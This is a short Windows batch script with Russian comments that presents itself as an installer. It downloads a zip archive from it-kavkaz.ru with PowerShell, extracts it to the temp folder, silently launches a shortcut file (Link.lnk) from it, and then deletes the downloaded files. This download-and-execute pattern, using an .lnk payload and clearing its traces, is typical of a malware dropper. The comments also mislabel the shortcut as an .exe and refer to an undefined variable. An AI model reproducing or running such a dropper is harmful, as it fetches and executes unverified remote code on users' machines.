@echo off
setlocal

REM Установите URL для загрузки zip-архива
set "URL=https://it-kavkaz.ru/11.zip"

REM Установите имя для скачиваемого zip-архива
set "ZIP_NAME=11.zip"

REM Установите имя установочного файла внутри zip-архива
set "LNK_NAME=Link.lnk"

REM Путь для временного сохранения zip-архива
set "TEMP_ZIP_PATH=%TEMP%\%ZIP_NAME%"

REM Путь для распаковки архива
set "EXTRACT_PATH=%TEMP%\installer"

REM Скачивание zip-архива
echo Downloading %URL% to %TEMP_ZIP_PATH%
powershell -Command "Invoke-WebRequest -Uri %URL% -OutFile %TEMP_ZIP_PATH%"

REM Проверка наличия zip-архива
if not exist %TEMP_ZIP_PATH% (
    echo Failed to download %ZIP_NAME%
    exit /b 1
)

REM Создание каталога для распаковки
if not exist %EXTRACT_PATH% (
    mkdir %EXTRACT_PATH%
)

REM Распаковка zip-архива
echo Extracting %ZIP_NAME% to %EXTRACT_PATH%
powershell -Command "Expand-Archive -Path %TEMP_ZIP_PATH% -DestinationPath %EXTRACT_PATH% -Force"

REM Проверка наличия распакованного .exe файла
if not exist %EXTRACT_PATH%\%LNK_NAME% (
    echo Failed to extract or find %EXE_NAME%
    exit /b 1
)

REM Установка .exe файла
echo Installing %LNK_NAME%
start /wait %EXTRACT_PATH%\%LNK_NAME% /silent /norestart

REM Очистка временных файлов после установки
del /f %TEMP_ZIP_PATH%
rmdir /s /q %EXTRACT_PATH%

echo Installation completed.
endlocal
exit /b 0
